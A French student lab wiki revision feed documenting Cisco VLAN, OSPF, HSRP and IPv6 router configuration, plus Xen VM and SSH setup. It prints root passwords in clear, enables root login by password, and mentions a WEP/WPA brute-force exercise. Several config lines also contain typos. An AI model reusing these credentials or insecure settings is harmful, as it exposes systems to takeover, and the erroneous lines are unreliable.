    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51565</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51565"/>
				<updated>2019-12-07T02:08:59Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Mise en place du serveur DNS avec bind9 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Connexion ssh@193.48.57.161'''&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
